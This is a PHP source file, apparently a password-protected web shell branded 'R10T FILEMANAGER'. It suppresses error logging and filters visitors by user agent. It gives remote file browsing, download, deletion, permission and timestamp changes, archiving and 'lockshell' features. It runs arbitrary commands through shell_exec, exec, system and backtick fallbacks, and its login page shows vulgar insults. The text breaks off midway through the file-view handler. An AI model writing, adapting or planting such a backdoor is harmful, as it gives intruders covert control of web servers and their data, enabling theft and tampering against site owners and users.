<?php
// ============================================
// MATIKAN SEMUA ERROR & OUTPUT BUFFER
// ============================================
error_reporting(0);
ini_set('display_errors', 0);
ini_set('log_errors', 0);

// HAPUS SEMUA OUTPUT BUFFER
while (ob_get_level()) ob_end_clean();
ob_start();

// HAPUS BOM (Byte Order Mark) jika ada
if (ob_get_length()) {
    $content = ob_get_clean();
    // Cek BOM (EF BB BF)
    if (substr($content, 0, 3) === "\xEF\xBB\xBF") {
        $content = substr($content, 3);
    }
    ob_start();
    echo $content;
}


$hashed_password = '$2a$10$q1/FVydlc7sM8kn0LRR4hOrTKd4OgSE0rihmbN2Sq6MKkJohRpgwa';
$allowed_agents = [
    'linux'   => true,
    'windows' => true,
    'mac'     => false,
    'android' => false,
    'iphone'  => false
];

$demo_mode = false;
$login = true;
?>
<?php
session_start();

if ($login === false) {
    if (!isset($_SESSION['hacker_logged_in'])) {
        $_SESSION['hacker_logged_in'] = true;
        $_SESSION['hacker_login_time'] = time();
    }
}
elseif ($login === true && !isset($_SESSION['hacker_logged_in'])) {

    $user_agent = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');

    $is_allowed = false;

    foreach ($allowed_agents as $agent => $status) {
        if ($status && strpos($user_agent, $agent) !== false) {
            $is_allowed = true;
            break;
        }
    }

    if (!$is_allowed) {
        die("ACCESS DENIED");
    }

    if (isset($_POST['hacker_password'])) {
        if (password_verify($_POST['hacker_password'], $hashed_password)) {
            $_SESSION['hacker_logged_in'] = true;
            $_SESSION['hacker_login_time'] = time();
            header("Location: " . $_SERVER['PHP_SELF']);
            exit;
        } else {
            $login_error = "USE YOUR FUCKIN BRAIN HOMIES :)";
        }
    }
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>⚡ R10T FILEMANAGER ⚡</title>
    <style>
    @import url('https://fonts.googleapis.com/css2?family=Share+Tech+Mono&display=swap');
    * { margin: 0; padding: 0; box-sizing: border-box; }
    body { background: #0a0f0f; font-family: 'Share Tech Mono', monospace; min-height: 100vh; display: flex; justify-content: center; align-items: center; position: relative; overflow: hidden; }
    @keyframes matrix { 0% { transform: translateY(-100%); } 100% { transform: translateY(100%); } }
    .glitch-effect { position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: repeating-linear-gradient( 90deg, transparent, rgba(0,255,0,0.02) 2px, transparent 4px ); pointer-events: none; z-index: 1; animation: glitch-scan 8s linear infinite; }
    @keyframes glitch-scan { 0% { background-position: 0 0; } 100% { background-position: 20px 0; } }
    .login-container { position: relative; z-index: 10; width: 100%; max-width: 500px; padding: 20px; perspective: 1000px; }
    .terminal { background: rgba(10, 20, 10, 0.95); border: 3px solid #00ff00; box-shadow: 0 0 30px rgba(0,255,0,0.3), 0 0 60px rgba(0,255,0,0.1), inset 0 0 30px rgba(0,255,0,0.2); border-radius: 12px; padding: 40px; position: relative; backdrop-filter: blur(10px); transform-style: preserve-3d; animation: terminal-glow 2s ease-in-out infinite alternate; }
    @keyframes terminal-glow { from { box-shadow: 0 0 30px rgba(0,255,0,0.3), 0 0 60px rgba(0,255,0,0.1); } to { box-shadow: 0 0 50px rgba(0,255,0,0.5), 0 0 90px rgba(0,255,0,0.2); } }
    .terminal::before { content: ""; position: absolute; top: -2px; left: -2px; right: -2px; bottom: -2px; background: linear-gradient(45deg, #00ff00, transparent 30%, transparent 70%, #00ff00); border-radius: 14px; z-index: -1; opacity: 0.3; animation: border-glitch 3s infinite; }
    @keyframes border-glitch { 0%, 100% { opacity: 0.3; transform: scale(1); } 50% { opacity: 0.5; transform: scale(1.02); } }
    .crt-lines { position: absolute; top: 0; left: 0; right: 0; bottom: 0; background: repeating-linear-gradient( 0deg, rgba(0,0,0,0.1) 0px, rgba(0,255,0,0.05) 2px, rgba(0,0,0,0.1) 4px ); border-radius: 12px; pointer-events: none; z-index: 2; }
    .header { text-align: center; margin-bottom: 30px; position: relative; }
    .header h1 { color: #00ff00; font-size: 32px; letter-spacing: 8px; text-shadow: 0 0 20px #00ff00, 0 0 40px #00ff00, 0 0 60px #00ff00; animation: flicker 3s infinite; margin-bottom: 15px; word-break: break-word; }
    .mb-5 { margin-bottom: 0.5rem; }
    @keyframes flicker { 0%, 19%, 21%, 23%, 25%, 54%, 56%, 100% { text-shadow: 0 0 20px #00ff00, 0 0 40px #00ff00, 0 0 60px #00ff00; } 20%, 24%, 55% { text-shadow: none; } }
    .subtitle { color: #00ff00; font-size: 16px; opacity: 0.9; border-top: 2px solid #00ff00; border-bottom: 2px solid #00ff00; padding: 12px 0; letter-spacing: 4px; text-transform: uppercase; }
    .status-panel { background: rgba(0, 20, 0, 0.6); border-left: 5px solid #00ff00; padding: 15px; margin-bottom: 30px; color: #00ff00; font-size: 14px; border-radius: 0 8px 8px 0; position: relative; overflow: hidden; }
    .status-panel::after { content: ">>>"; position: absolute; right: 15px; top: 50%; transform: translateY(-50%); color: #00ff00; opacity: 0.5; animation: pulse 1s infinite; }
    @keyframes pulse { 0%, 100% { opacity: 0.5; } 50% { opacity: 1; } }
    .blink-led { display: inline-block; width: 12px; height: 12px; background: #00ff00; border-radius: 50%; box-shadow: 0 0 15px #00ff00; animation: blink 1s infinite; margin-right: 10px; }
    @keyframes blink { 0%, 100% { opacity: 1; } 50% { opacity: 0.3; } }
    .input-group { margin-bottom: 25px; position: relative; }
    .input-label { display: block; color: #00ff00; margin-bottom: 12px; font-size: 16px; letter-spacing: 3px; text-transform: uppercase; display: flex; align-items: center; gap: 10px; }
    .input-label i { color: #00ff00; font-size: 18px; }
    .password-wrapper { position: relative; display: flex; align-items: center; background: rgba(0, 30, 0, 0.8); border: 2px solid #00ff00; border-radius: 6px; transition: all 0.3s; }
    .password-wrapper:focus-within { border-color: #00ff00; box-shadow: 0 0 25px rgba(0, 255, 0, 0.4); background: rgba(0, 50, 0, 0.9); }
    .prefix { padding: 14px 18px; color: #00ff00; font-size: 20px; border-right: 2px solid rgba(0, 255, 0, 0.3); text-shadow: 0 0 10px #00ff00; }
    input[type="password"] { flex: 1; background: transparent; border: none; color: #00ff00; padding: 14px 18px; font-family: 'Share Tech Mono', monospace; font-size: 18px; outline: none; letter-spacing: 4px; }
    input[type="password"]::placeholder { color: rgba(0, 255, 0, 0.3); letter-spacing: 2px; }
    .hint { margin-top: 10px; color: rgba(0, 255, 0, 0.6); font-size: 12px; display: flex; align-items: center; gap: 8px; }
    .login-btn { width: 100%; background: transparent; border: 3px solid #00ff00; color: #00ff00; padding: 16px; font-family: 'Share Tech Mono', monospace; font-size: 20px; font-weight: bold; letter-spacing: 8px; text-transform: uppercase; cursor: pointer; transition: all 0.3s; position: relative; overflow: hidden; border-radius: 6px; margin-top: 20px; }
    .login-btn:hover { background: rgba(0, 255, 0, 0.2); box-shadow: 0 0 40px rgba(0, 255, 0, 0.4); text-shadow: 0 0 15px #00ff00; transform: translateY(-2px); }
    .login-btn::before { content: "⚡"; position: absolute; left: -30px; transition: all 0.3s; font-size: 20px; }
    .login-btn:hover::before { left: 20px; }
    .error-message { background: rgba(255, 0, 0, 0.15); border-left: 6px solid #ff0000; color: #ff6b6b; padding: 16px; margin-bottom: 25px; font-size: 15px; display: flex; align-items: center; gap: 12px; border-radius: 0 8px 8px 0; text-shadow: 0 0 8px rgba(255, 0, 0, 0.5); animation: shake 0.5s ease-in-out; }
    .system-stats { margin-top: 30px; padding-top: 20px; border-top: 1px solid rgba(0, 255, 0, 0.3); display: grid; grid-template-columns: repeat(3, 1fr); gap: 15px; color: #00ff00; font-size: 12px; }
    .stat-item { text-align: center; padding: 10px; background: rgba(0, 255, 0, 0.05); border-radius: 4px; }
    .stat-value { font-size: 16px; font-weight: bold; color: #00ff00; text-shadow: 0 0 10px #00ff00; margin-top: 5px; }
    .footer { margin-top: 25px; color: rgba(0, 255, 0, 0.4); font-size: 11px; text-align: center; letter-spacing: 2px; }
    @media (max-width: 600px) { .login-container { padding: 10px; } .terminal { padding: 25px; } .header h1 { font-size: 24px; letter-spacing: 4px; } .login-btn { letter-spacing: 4px; } }
    </style>
</head>
<body>
    <div class="matrix-bg"></div>
    <div class="glitch-effect"></div>
    <div class="login-container">
        <div class="terminal">
            <div class="crt-lines"></div>
            <div class="header">
                <div class="subtitle">R10TEXEC</div>
            </div>
            <?php if (isset($login_error)): ?>
                <div class="error-message">
                    <span style="font-size: 20px;">⚠️</span>
                    <div style="flex: 1;">
                        <strong>FUCK YOU BITCH</strong><br>
                        <?php echo htmlspecialchars($login_error); ?>
                    </div>
                </div>
            <?php endif; ?>
            <form method="POST" action="" autocomplete="off">
                <div class="input-group">
                    <div class="input-label">
                        <i class="fas fa-lock"></i>
                        <span>MASTER PASSWORD</span>
                    </div>
                    <div class="password-wrapper">
                        <span class="prefix">#</span>
                        <input type="password" name="hacker_password" placeholder="************" autofocus required >
                    </div>
                </div>
                <button type="submit" class="login-btn">LOGIN</button>
            </form>
        </div>
    </div>
    <script>
        document.querySelector('input[type="password"]').addEventListener('focus', function() {
            this.parentElement.style.transform = 'translateX(2px)';
            setTimeout(() => { this.parentElement.style.transform = 'translateX(-2px)'; }, 50);
            setTimeout(() => { this.parentElement.style.transform = 'translateX(0)'; }, 100);
        });
    </script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/js/all.min.js"></script>
</body>
</html>
<?php
    exit;
}

$logout_button = '<a href="?logout=1" onclick="return confirm(\'Exit secure session?\')"
    class="btn btn-danger ml-2" style="background: #dc2626;">
    <i class="fas fa-sign-out-alt mr-2"></i>EXIT
</a>';

if (isset($_GET['logout'])) {
    session_destroy();
    header("Location: " . $_SERVER['PHP_SELF']);
    exit;
}

$demo_message = '🔒 DEMO MODE: Ini Demo Mode Mohon Pengertiannya';

error_reporting(0);
@set_time_limit(0);
session_start();

$isWindows = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN');
$directorySeparator = $isWindows ? '\\' : '/';

function normalizePath($path, $isWindows) {
    if ($isWindows) {
        $path = str_replace('/', '\\', $path);
        if (preg_match('/^[a-zA-Z]:\\\\?$/', $path)) {
            return rtrim($path, '\\') . '\\';
        }
        if (preg_match('/^[a-zA-Z]:\\\\$/', $path)) {
            return $path;
        }
        $path = preg_replace('/\\\\+/', '\\', $path);
    }
    return $path;
}

function getRealPath($path, $isWindows) {
    if ($isWindows) {
        $path = normalizePath($path, $isWindows);
        if (preg_match('/^[a-zA-Z]:\\\\$/', $path)) {
            return $path;
        }
        $real = realpath($path);
        if ($real !== false) {
            return normalizePath($real, $isWindows);
        }
        return $path;
    } else {
        return realpath($path) ?: $path;
    }
}

function joinPaths($base, $path, $isWindows) {
    if ($isWindows) {
        $base = rtrim($base, '\\/');
        $path = ltrim($path, '\\/');
        return $base . '\\' . $path;
    } else {
        $base = rtrim($base, '/');
        $path = ltrim($path, '/');
        return $base . '/' . $path;
    }
}

$scriptDir = realpath(__DIR__) ?: __DIR__;
if ($isWindows) {
    $scriptDir = normalizePath($scriptDir, $isWindows);
}

if (!isset($_SESSION['fm_current_dir']) || !is_dir($_SESSION['fm_current_dir'])) {
    $_SESSION['fm_current_dir'] = $scriptDir;
}

if (!isset($_SESSION['terminal_current_dir']) || !is_dir($_SESSION['terminal_current_dir'])) {
    $_SESSION['terminal_current_dir'] = $scriptDir;
}

if (isset($_GET['fm_dir'])) {
    $newDir = urldecode($_GET['fm_dir']);
    $newDir = getRealPath($newDir, $isWindows);
    if (is_dir($newDir)) {
        $_SESSION['fm_current_dir'] = $newDir;
        setcookie('fm_current_dir', $newDir, time() + (86400 * 30), "/");
    }
}

if (isset($_GET['terminal_dir'])) {
    $newDir = urldecode($_GET['terminal_dir']);
    $newDir = getRealPath($newDir, $isWindows);
    if (is_dir($newDir)) {
        $_SESSION['terminal_current_dir'] = $newDir;
        setcookie('terminal_current_dir', $newDir, time() + (86400 * 30), "/");
    }
}

function buildBreadcrumbs($dir, $isWindows) {
    $dir = normalizePath($dir, $isWindows);
    if ($isWindows) {
        $html = [];
        $scriptOriginalDir = normalizePath(realpath(__DIR__) ?: __DIR__, true);
        $html[] = '<a href="#" data-fm-dir="' . htmlspecialchars($scriptOriginalDir) . '"
                    class="text-blue-400 hover:text-blue-300 inline-flex items-center"
                    title="Go to script directory (HOME)">
                    <i class="fas fa-home mr-1"></i>
                  </a>';
        if (preg_match('/^([a-zA-Z]):\\\\$/', $dir, $matches)) {
            $html[] = '<span class="text-blue-400 font-semibold ml-1">' . htmlspecialchars($dir) . '</span>';
            return implode(' ', $html);
        }
        $parts = explode('\\', trim($dir, '\\'));
        $driveLetter = $parts[0];
        $path = '';
        $html[] = '<a href="#" data-fm-dir="' . htmlspecialchars($driveLetter . '\\') . '"
                    class="text-blue-400 hover:text-blue-300 font-semibold ml-1">' . htmlspecialchars($driveLetter) . '</a>';
        for ($i = 1; $i < count($parts); $i++) {
            $path .= '\\' . $parts[$i];
            $fullPath = $driveLetter . $path;
            $html[] = '<span class="text-gray-400 mx-1">\\</span>';
            $html[] = '<a href="#" data-fm-dir="' . htmlspecialchars($fullPath . '\\') . '"
                        class="text-blue-400 hover:text-blue-300">'
                        . htmlspecialchars($parts[$i]) .
                      '</a>';
        }
        return implode('', $html);
    } else {
        $currentDir = realpath($dir) ?: $dir;
        $scriptOriginalDir = realpath(__DIR__) ?: __DIR__;
        $html = [];
        $html[] = '<a href="#" data-fm-dir="' . htmlspecialchars($scriptOriginalDir) . '"
                    class="text-blue-400 hover:text-blue-300 inline-flex items-center"
                    title="Go to script directory">
                    <i class="fas fa-home mr-1"></i>
                  </a>';
        $html[] = '<a href="#" data-fm-dir="/"
                    class="text-blue-400 hover:text-blue-300 font-semibold">/</a>';
        if ($currentDir === '/' || $currentDir === '') {
            return implode(' ', $html);
        }
        $parts = array_filter(explode('/', trim($currentDir, '/')));
        $path = '';
        $isFirst = true;
        foreach ($parts as $part) {
            $path .= '/' . $part;
            if (!$isFirst) {
                $html[] = '<span class="text-gray-400 mx-1">/</span>';
            }
            $html[] = '<a href="#" data-fm-dir="' . htmlspecialchars($path) . '"
                        class="text-blue-400 hover:text-blue-300">'
                        . htmlspecialchars($part) .
                      '</a>';
            $isFirst = false;
        }
        return implode('', $html);
    }
}

function getFMAbsolutePath($path, $isWindows) {
    $currentDir = $_SESSION['fm_current_dir'] ?? __DIR__;
    if ($isWindows) {
        $currentDir = normalizePath($currentDir, $isWindows);
    }
    if (empty($path) || $path == '.') {
        return getRealPath($currentDir, $isWindows) ?: $currentDir;
    }
    if ($path == '..') {
        $parent = dirname($currentDir);
        return getRealPath($parent, $isWindows) ?: $parent;
    }
    $path = urldecode($path);
    $path = str_replace("\0", "", $path);
    if ($isWindows) {
        if (preg_match('/^[a-zA-Z]:\\\\/', $path)) {
            return getRealPath($path, $isWindows);
        }
        $fullPath = rtrim($currentDir, '\\') . '\\' . ltrim($path, '\\');
        return getRealPath($fullPath, $isWindows);
    } else {
        if ($path[0] !== '/') {
            $path = rtrim($currentDir, '/') . '/' . ltrim($path, '/');
        }
        $real = realpath($path);
        return $real ?: $path;
    }
}

function getTerminalAbsolutePath($path, $isWindows) {
    $currentDir = $_SESSION['terminal_current_dir'] ?? __DIR__;
    if ($isWindows) {
        $currentDir = normalizePath($currentDir, $isWindows);
    }
    if (empty($path) || $path == '.') {
        return getRealPath($currentDir, $isWindows) ?: $currentDir;
    }
    if ($path == '..') {
        $parent = dirname($currentDir);
        return getRealPath($parent, $isWindows) ?: $parent;
    }
    $path = urldecode($path);
    $path = str_replace("\0", "", $path);
    if ($isWindows) {
        if (preg_match('/^[a-zA-Z]:\\\\/', $path)) {
            return getRealPath($path, $isWindows);
        }
        $fullPath = rtrim($currentDir, '\\') . '\\' . ltrim($path, '\\');
        return getRealPath($fullPath, $isWindows);
    } else {
        if ($path[0] !== '/') {
            $path = rtrim($currentDir, '/') . '/' . ltrim($path, '/');
        }
        $real = realpath($path);
        return $real ?: $path;
    }
}

function getFileIcon($name, $isDir, $ext = '') {
    if ($isDir) return '<i class="fas fa-folder text-yellow-500"></i>';
    if ($name === '.htaccess') return '<i class="fas fa-lock text-red-400"></i>';
    if ($name === '.env') return '<i class="fas fa-secret text-green-400"></i>';
    if ($name === 'Dockerfile') return '<i class="fab fa-docker text-blue-400"></i>';
    if ($name === 'Makefile') return '<i class="fas fa-tasks text-purple-400"></i>';
    if ($name === 'composer.json' || $name === 'composer.lock') return '<i class="fab fa-php text-purple-400"></i>';
    if ($name === 'package.json' || $name === 'package-lock.json') return '<i class="fab fa-npm text-red-400"></i>';
    if ($name === 'yarn.lock') return '<i class="fab fa-yarn text-blue-400"></i>';
    $ext = strtolower($ext);
    $icons = [
        'php' => 'fab fa-php text-purple-500',
        'js' => 'fab fa-js text-yellow-400',
        'ts' => 'fab fa-js text-blue-400',
        'jsx' => 'fab fa-react text-cyan-400',
        'tsx' => 'fab fa-react text-cyan-400',
        'vue' => 'fab fa-vuejs text-green-400',
        'css' => 'fab fa-css3-alt text-blue-400',
        'scss|sass|less' => 'fab fa-sass text-pink-400',
        'html|htm' => 'fab fa-html5 text-orange-500',
        'xml|xsd|xslt' => 'fas fa-code text-blue-400',
        'json' => 'fas fa-brackets-curly text-yellow-400',
        'yaml|yml' => 'fas fa-code-branch text-green-400',
        'py' => 'fab fa-python text-blue-300',
        'rb' => 'fas fa-gem text-red-400',
        'go' => 'fab fa-golang text-blue-400',
        'rs' => 'fas fa-crab text-orange-400',
        'c|cpp|h|hpp' => 'fas fa-microchip text-blue-400',
        'java' => 'fab fa-java text-red-400',
        'kt|kts' => 'fab fa-kotlin text-purple-400',
        'swift' => 'fab fa-swift text-orange-400',
        'sql' => 'fas fa-database text-orange-400',
        'r' => 'fas fa-chart-line text-blue-400',
        'lua' => 'fas fa-gamepad text-blue-400',
        'pl|pm' => 'fas fa-code text-blue-400',
        'ex|exs' => 'fas fa-code text-purple-400',
        'htaccess|htpasswd' => 'fas fa-shield-alt text-red-400',
        'ini|conf|cfg' => 'fas fa-sliders-h text-gray-400',
        'env' => 'fas fa-secret text-green-400',
        'xml' => 'fas fa-code text-blue-400',
        'toml' => 'fas fa-cog text-gray-400',
        'jpg|jpeg|png|gif|bmp|svg|webp|ico|tiff|heic' => 'fas fa-image text-green-500',
        'zip|rar|7z|tar|gz|bz2|xz|tgz|zst' => 'fas fa-file-archive text-red-500',
        'pdf' => 'fas fa-file-pdf text-red-400',
        'doc|docx' => 'fas fa-file-word text-blue-500',
        'xls|xlsx|csv' => 'fas fa-file-excel text-green-400',
        'ppt|pptx' => 'fas fa-file-powerpoint text-orange-400',
        'mp3|wav|ogg|flac|aac|m4a' => 'fas fa-file-audio text-purple-400',
        'mp4|avi|mov|mkv|wmv|flv|webm|mpeg' => 'fas fa-file-video text-purple-300',
        'txt|log|md|markdown' => 'fas fa-file-alt text-gray-400',
        'csv' => 'fas fa-table text-green-400',
        'sh|bash|zsh|fish' => 'fas fa-terminal text-green-400',
        'bat|cmd|ps1' => 'fas fa-windows text-blue-400',
        'vbs' => 'fas fa-code text-blue-400',
        'exe|msi' => 'fas fa-cog text-red-500',
        'dll|sys|so|dylib' => 'fas fa-cogs text-red-400',
        'appimage' => 'fas fa-box text-green-400',
        'deb' => 'fab fa-ubuntu text-orange-400',
        'rpm' => 'fab fa-redhat text-red-400',
        'dockerfile' => 'fab fa-docker text-blue-400',
        'makefile' => 'fas fa-tasks text-purple-400',
        'dockerignore' => 'fab fa-docker text-gray-400',
        'gitignore|gitattributes' => 'fab fa-git-alt text-orange-400',
        'pem|crt|key|cer' => 'fas fa-key text-yellow-400',
        'pub' => 'fas fa-key text-blue-400',
        'ttf|otf|woff|woff2|eot' => 'fas fa-font text-gray-400',
        'stl|obj|fbx|blend|3ds' => 'fas fa-cube text-blue-400',
        'sqlite|db' => 'fas fa-database text-green-400',
        'sql' => 'fas fa-database text-orange-400',
        'bak|backup' => 'fas fa-history text-gray-400'
    ];
    foreach ($icons as $pattern => $icon) {
        $exts = explode('|', $pattern);
        if (in_array($ext, $exts)) {
            return '<i class="' . $icon . '"></i>';
        }
    }
    return '<i class="fas fa-file text-gray-400"></i>';
}

function formatSize($bytes) {
    if ($bytes == 0) return '0 B';
    $units = ['B', 'KB', 'MB', 'GB', 'TB'];
    $i = floor(log($bytes, 1024));
    return round($bytes / pow(1024, $i), 2) . ' ' . $units[$i];
}

function changePermissions($path, $mode) {
    if (!file_exists($path)) return false;
    if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
        if ($mode == '0444' || $mode == '444') {
            return @chmod($path, 0444);
        } else {
            return @chmod($path, 0666);
        }
    }
    if (is_string($mode) && preg_match('/^[0-7]{3,4}$/', $mode)) {
        $mode = octdec($mode);
    }
    return @chmod($path, $mode);
}

function changeTimestamp($path, $timestamp) {
    if (!file_exists($path)) return false;
    if (is_string($timestamp)) {
        $timestamp = strtotime($timestamp);
    }
    return @touch($path, $timestamp, $timestamp);
}

function getUploadError($errorCode) {
    $errors = [
        UPLOAD_ERR_OK => 'No error',
        UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize',
        UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE in form',
        UPLOAD_ERR_PARTIAL => 'File partially uploaded',
        UPLOAD_ERR_NO_FILE => 'No file uploaded',
        UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder',
        UPLOAD_ERR_CANT_WRITE => 'Failed to write to disk',
        UPLOAD_ERR_EXTENSION => 'PHP extension stopped upload'
    ];
    return $errors[$errorCode] ?? 'Unknown upload error';
}

function deleteRecursive($dir, $isWindows) {
    if (!file_exists($dir)) return true;
    if (!is_dir($dir)) {
        if ($isWindows) {
            @chmod($dir, 0666);
        }
        return @unlink($dir);
    }
    $items = @scandir($dir);
    if ($items === false) return false;
    foreach ($items as $item) {
        if ($item == '.' || $item == '..') continue;
        $path = $dir . '/' . $item;
        if ($isWindows) {
            $path = str_replace('/', '\\', $path);
        }
        if (is_dir($path)) {
            if (!deleteRecursive($path, $isWindows)) return false;
        } else {
            if ($isWindows) {
                @chmod($path, 0666);
            }
            if (!@unlink($path)) return false;
        }
    }
    if ($isWindows) {
        @chmod($dir, 0777);
    }
    return @rmdir($dir);
}

function addFolderToZip($folder, &$zipFile, $zipPath) {
    if (!is_dir($folder)) return;
    $items = @scandir($folder);
    if ($items === false) return;
    foreach ($items as $item) {
        if ($item == '.' || $item == '..') continue;
        $path = $folder . '/' . $item;
        $localPath = $zipPath . $item;
        if (is_dir($path)) {
            $zipFile->addEmptyDir($localPath);
            addFolderToZip($path, $zipFile, $localPath . '/');
        } else {
            $zipFile->addFile($path, $localPath);
        }
    }
}

function executeWindowsCommand($command, $path) {
    $output = '';
    $return_var = 0;
    if (preg_match('/^\s*cd\s+(.+)$/', $command, $matches)) {
        $new_dir = trim($matches[1], " \t\n\r\0\x0B\"'");
        if ($new_dir === '~' || $new_dir === '~/' || $new_dir === '$HOME') {
            $new_dir = getenv('USERPROFILE') ?: 'C:\\';
        } elseif ($new_dir === '-' || $new_dir === '..') {
        } else {
            if (!preg_match('/^[a-zA-Z]:\\\\/', $new_dir)) {
                $new_dir = rtrim($path, '\\') . '\\' . ltrim($new_dir, '\\');
            }
            $new_dir = str_replace('/', '\\', $new_dir);
            $real = realpath($new_dir);
            if ($real && is_dir($real)) {
                return ['output' => '', 'dir' => $real, 'changed' => true];
            } else {
                return ['output' => "cd: {$matches[1]}: No such file or directory\n", 'changed' => false];
            }
        }
    }
    if (strpos($command, 'dir') === 0) {
        $command = str_replace('dir', 'dir', $command);
    }
    $fullCommand = 'cmd /c "' . $command . '" 2>&1';
    if (function_exists('shell_exec') && !in_array('shell_exec', explode(',', ini_get('disable_functions')))) {
        $output = @shell_exec($fullCommand);
    }
    if (empty($output) && function_exists('exec')) {
        $outputArray = [];
        @exec($fullCommand, $outputArray, $return_var);
        $output = implode("\n", $outputArray);
    }
    if (empty($output) && function_exists('system')) {
        ob_start();
        @system($fullCommand, $return_var);
        $output = ob_get_clean();
    }
    if (empty($output)) {
        $output = @`$fullCommand`;
    }
    if (trim($output) === '') {
        $output = "(no output)";
    }
    return ['output' => $output, 'dir' => $path, 'changed' => false, 'return_var' => $return_var];
}

// ============================================
// FUNGSI SEND JSON (UNTUK MENJAMIN RESPONSE VALID)
// ============================================
function sendJSON($data) {
    // Bersihkan semua buffer
    while (ob_get_level()) ob_end_clean();
    ob_start();

    // Set header
    header('Content-Type: application/json');
    header('X-Content-Type-Options: nosniff');

    // Encode JSON
    $json = json_encode($data);

    // Jika JSON error, kirim error
    if ($json === false) {
        $json = json_encode(['error' => 'JSON encode error: ' . json_last_error_msg()]);
    }

    // Kirim response
    echo $json;
    exit;
}

if (isset($_GET['action'])) {
    // Bersihkan semua output buffer
    while (ob_get_level()) ob_end_clean();
    ob_start();
    header('Content-Type: application/json');

    $action = $_GET['action'];
    $write_actions = [
        'download', 'view', 'save', 'delete', 'deletemultiple',
        'rename', 'mkdir', 'touch', 'chmod', 'touchdate', 'upload',
        'zip', 'unzip', 'execute', 'getinfo', 'move', 'copy',
        'lockshell', 'unlockshell'
    ];
    if ($demo_mode && in_array($action, $write_actions)) {
        sendJSON([
            'error' => $demo_message,
            'demo_mode' => true
        ]);
    }
    switch ($action) {
        case 'list':
            $dir = $_GET['dir'] ?? $_SESSION['fm_current_dir'];
            $path = getFMAbsolutePath($dir, $isWindows);
            if (!$path || !is_dir($path)) {
                sendJSON(['error' => 'Invalid directory']);
            }
            $_SESSION['fm_current_dir'] = $path;
            setcookie('fm_current_dir', $path, time() + (86400 * 30), "/");
            $files = @scandir($path);
            if ($files === false) {
                sendJSON(['error' => 'Cannot scan directory']);
            }
            $items = [];
            if ($path != '/' && dirname($path) != $path) {
                $parent = dirname($path);
                if ($isWindows) {
                    $parent = normalizePath($parent, $isWindows);
                }
                $owner = $group = '-';
                if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {
                    $ownerInfo = @posix_getpwuid(fileowner($parent));
                    $groupInfo = @posix_getgrgid(filegroup($parent));
                    $owner = $ownerInfo['name'] ?? fileowner($parent);
                    $group = $groupInfo['name'] ?? filegroup($parent);
                } elseif ($isWindows) {
                    $owner = 'Windows';
                    $group = 'Users';
                }
                $items[] = [
                    'name' => '..',
                    'path' => $parent,
                    'type' => 'dir',
                    'size' => 0,
                    'size_fmt' => '-',
                    'modified' => @filemtime($parent) ?: time(),
                    'permissions' => $isWindows ? 'rwx' : substr(sprintf('%o', @fileperms($parent)), -4),
                    'icon' => '<i class="fas fa-level-up-alt text-blue-500"></i>',
                    'writable' => @is_writable($parent),
                    'owner' => $owner,
                    'group' => $group,
                    'shell_locked' => false
                ];
            }
            foreach ($files as $file) {
                if ($file == '.' || $file == '..') continue;
                $fullPath = $path . ($isWindows ? '\\' : '/') . $file;
                $isDir = @is_dir($fullPath);
                $size = $isDir ? 0 : (@filesize($fullPath) ?: 0);
                $ext = $isDir ? '' : strtolower(pathinfo($file, PATHINFO_EXTENSION));
                $owner = $group = '-';
                if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {
                    $ownerInfo = @posix_getpwuid(fileowner($fullPath));
                    $groupInfo = @posix_getgrgid(filegroup($fullPath));
                    $owner = $ownerInfo['name'] ?? fileowner($fullPath);
                    $group = $groupInfo['name'] ?? filegroup($fullPath);
                } elseif ($isWindows) {
                    $owner = 'Windows';
                    $group = 'Users';
                }
                $perms = $isWindows ? 'rwx' : substr(sprintf('%o', @fileperms($fullPath)), -4);

                // Cek apakah file/folder di-lock dengan background process
                $sessionDir = sys_get_temp_dir() . "/.sessions";
                $fileHash = md5($fullPath);
                $isShellLocked = false;

                if ($isDir) {
                    $handlerFile = $sessionDir . "/" . $fileHash . "-folder-handler";
                    $isShellLocked = file_exists($handlerFile);
                } else {
                    $handlerFile = $sessionDir . "/" . $fileHash . "-handler";
                    $isShellLocked = file_exists($handlerFile);
                }

                $items[] = [
                    'name' => $file,
                    'path' => $fullPath,
                    'type' => $isDir ? 'dir' : 'file',
                    'size' => $size,
                    'size_fmt' => $isDir ? '-' : formatSize($size),
                    'modified' => @filemtime($fullPath) ?: time(),
                    'permissions' => $perms,
                    'icon' => getFileIcon($file, $isDir, $ext),
                    'ext' => $ext,
                    'writable' => @is_writable($fullPath),
                    'owner' => $owner,
                    'group' => $group,
                    'shell_locked' => $isShellLocked,
                    'is_dir' => $isDir
                ];
            }
            usort($items, function($a, $b) {
                if ($a['name'] == '..') return -1;
                if ($b['name'] == '..') return 1;
                if ($a['type'] == $b['type']) return strcasecmp($a['name'], $b['name']);
                return $a['type'] == 'dir' ? -1 : 1;
            });
            $total = @disk_total_space($path);
            $free = @disk_free_space($path);
            $used = $total ? $total - $free : 0;
            $percent = $total ? round(($used / $total) * 100, 2) : 0;
            sendJSON([
                'success' => true,
                'path' => $path,
                'breadcrumbs' => buildBreadcrumbs($path, $isWindows),
                'files' => $items,
                'disk' => [
                    'total' => $total ? formatSize($total) : 'N/A',
                    'used' => $total ? formatSize($used) : 'N/A',
                    'free' => $free ? formatSize($free) : 'N/A',
                    'percent' => $percent
                ]
            ]);
            break;
        case 'download':
            $file = $_GET['file'] ?? '';
            $path = getFMAbsolutePath($file, $isWindows);
            if (!$path || !is_file($path)) {
                header('HTTP/1.1 404 Not Found');
                exit;
            }
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename="' . basename($path) . '"');
            header('Content-Length: ' . filesize($path));
            readfile($path);
            exit;
        case 'view':
            $file = $_GET['file'] ?? '';
            $raw = isset($_GET['raw']) && $_GET['raw'] == '1';
            $path = getFMAbsolutePath($file, $isWindows);
            if (!$path || !is_file($path)) {
                sendJSON(['error' => 'File not found']);
            }
